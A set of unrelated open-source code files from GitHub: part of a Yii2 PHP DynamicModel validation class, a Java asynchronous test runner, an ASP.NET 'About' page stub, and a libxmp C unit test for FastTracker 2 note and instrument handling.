'email'], 'string', ['max' => 128]) * ->addRule('email', 'email') * ->validate(); * ``` * * DynamicModel implements the above ad-hoc data validation feature by supporting the so-called * "dynamic attributes". It basically allows an attribute to be defined dynamically through its constructor * or [[defineAttribute()]]. * * @author Qiang Xue <[email protected]> * @since 2.0 */ class DynamicModel extends Model { private $_attributes = []; /** * Constructors. * @param array $attributes the dynamic attributes (name-value pairs, or names) being defined * @param array $config the configuration array to be applied to this object. */ public function __construct(array $attributes = [], $config = []) { foreach ($attributes as $name => $value) { if (is_integer($name)) { $this->_attributes[$value] = null; } else { $this->_attributes[$name] = $value; } } parent::__construct($config); } /** * @inheritdoc */ public function __get($name) { if (array_key_exists($name, $this->_attributes)) { return $this->_attributes[$name]; } else { return parent::__get($name); } } /** * @inheritdoc */ public function __set($name, $value) { if (array_key_exists($name, $this->_attributes)) { $this->_attributes[$name] = $value; } else { parent::__set($name, $value); } } /** * @inheritdoc */ public function __isset($name) { if (array_key_exists($name, $this->_attributes)) { return isset($this->_attributes[$name]); } else { return parent::__isset($name); } } /** * @inheritdoc */ public function __unset($name) { if (array_key_exists($name, $this->_attributes)) { unset($this->_attributes[$name]); } else { parent::__unset($name); } } /** * Defines an attribute. * @param string $name the attribute name * @param mixed $value the attribute value */ public function defineAttribute($name, $value = null) { $this->_attributes[$name] = $value; } /** * Undefines an attribute. * @param string $name the attribute name */ public function undefineAttribute($name) { unset($this->_attributes[$name]); } /** * Adds a validation rule to this model. * You can also directly manipulate [[validators]] to add or remove validation rules. * This method provides a shortcut. * @param string|array $attributes the attribute(s) to be validated by the rule * @param mixed $validator the validator for the rule.This can be a built-in validator name, * a method name of the model class, an anonymous function, or a validator class name. * @param array $options the options (name-value pairs) to be applied to the validator * @return static the model itself */ public function addRule($attributes, $validator, $options = []) { $validators = $this->getValidators(); $validators->append(Validator::createValidator($validator, $this, (array) $attributes, $options)); return $this; } /** * Validates the given data with the specified validation rules. * This method will create a DynamicModel instance, populate it with the data to be validated, * create the specified validation rules, and then validate the data using these rules. * @param array $data the data (name-value pairs) to be validated * @param array $rules the validation rules. Please refer to [[Model::rules()]] on the format of this parameter. * @return static the model instance that contains the data being validated * @throws InvalidConfigException if a validation rule is not specified correctly. */ public static function validateData(array $data, $rules = []) { /* @var $model DynamicModel */ $model = new static($data); if (!empty($rules)) { $validators = $model->getValidators(); foreach ($rules as $rule) { if ($rule instanceof Validator) { $validators->append($rule); } elseif (is_array($rule) && isset($rule[0], $rule[1])) { // attributes, validator type $validator = Validator::createValidator($rule[1], $model, (array) $rule[0], array_slice($rule, 2)); $validators->append($validator); } else { throw new InvalidConfigException('Invalid validation rule: a rule must specify both attribute names and validator type.'); } } } $model->validate(); return $model; } /** * @inheritdoc */ public function attributes() { return array_keys($this->_attributes); } }
{ "pile_set_name": "Github" }
package utils; import java.util.ArrayList; import java.util.List; import java.util.concurrent.CompletableFuture; import java.util.function.Supplier; import static utils.FuturesCollector.toFuture; /** * This class asynchronously runs tests that use the Java completable * futures framework and ensures that the test driver doesn't exit * until all the asynchronous processing is completed. * */ public class AsyncTester { /** * Keeps track of all the registered tests to run. */ private static List<Supplier<CompletableFuture<Void>>> sTests = new ArrayList<>(); /** * Register the {@code test} test so that it can be run * asynchronously. Each test must take no parameters and return a * {@code Supplier<CompletableFuture<Void>>} result. */ public static void register(Supplier<CompletableFuture<Void>> test) { sTests.add(test); } /** * Run all the register tests. * * @return a {@code CompletableFuture<Void>} that will be * triggered when all the asynchronously-run tests complete. */ public static CompletableFuture<Void> runTests() { return sTests // Convert the list into a stream. .stream() // Run each test, which can execute asynchronously. .map(Supplier::get) // Trigger intermediate operation processing and return a // single future that will be triggered when all the tests // are complete. .collect(toFuture()) // Print the number of completed tests when all the tests // complete. .thenAccept(list -> System.out.println("Completed " + list.size() + " tests")); } }
{ "pile_set_name": "Github" }
<%@ Page Title="" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="DataServicesWebApp.About" %> <asp:Content ID="Content1" ContentPlaceHolderID="HeadContent" runat="Server"> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="Server"> <h2> About </h2> <p> Put content here. </p> </asp:Content>
{ "pile_set_name": "Github" }
#include "test.h" #include "../src/mixer.h" #include "../src/virtual.h" /* Case 1: New note Instrument -> None Same Valid Inval PT1.1 Play Play Play Cut PT1.3 Play Play Play Cut PT2.3 Switch Play Play Cut <= PT3.15 Switch Play Play Cut <= "Standard" PT3.61 Switch Play Play Cut <= PT4b2 Switch Play Play Cut <= MED Switch Play Play Cut <= FT2 Switch Play Play Cut <= ST3 Switch Play Play Switch IT(s) Switch Play Play ? IT(i) Switch Play Play Cont DT32 Play Play Play Cut Play = Play new note with new default volume Switch = Play new note with current volume NewVol = Don't play sample, set new default volume OldVol = Don't play sample, set old default volume Cont = Continue playing sample Cut = Stop playing sample */ TEST(test_new_note_no_ins_ft2) { xmp_context opaque; struct context_data *ctx; struct player_data *p; struct mixer_voice *vi; int voc; opaque = xmp_create_context(); ctx = (struct context_data *)opaque; p = &ctx->p; create_simple_module(ctx, 2, 2); set_instrument_volume(ctx, 0, 0, 22); set_instrument_volume(ctx, 1, 0, 33); new_event(ctx, 0, 0, 0, 60, 1, 44, 0x0f, 2, 0, 0); new_event(ctx, 0, 1, 0, 50, 0, 0, 0x00, 0, 0, 0); set_quirk(ctx, QUIRKS_FT2, READ_EVENT_FT2); xmp_start_player(opaque, 44100, 0); /* Row 0 */ xmp_play_frame(opaque); voc = map_channel(p, 0); fail_unless(voc >= 0, "virtual map"); vi = &p->virt.voice_array[voc]; fail_unless(vi->note == 59, "set note"); fail_unless(vi->ins == 0, "set instrument"); fail_unless(vi->vol == 43 * 16, "set volume"); fail_unless(vi->pos0 == 0, "sample position"); xmp_play_frame(opaque); /* Row 1: no instrument with new note (FT2) * * When no instrument and a new note is set, FT2 plays * the new note with old sample and current volume. */ xmp_play_frame(opaque); fail_unless(vi->ins == 0, "not old instrument"); fail_unless(vi->note == 49, "not new note"); fail_unless(vi->vol == 43 * 16, "not current volume"); fail_unless(vi->pos0 == 0, "sample didn't reset"); xmp_play_frame(opaque); } END_TEST
{ "pile_set_name": "Github" }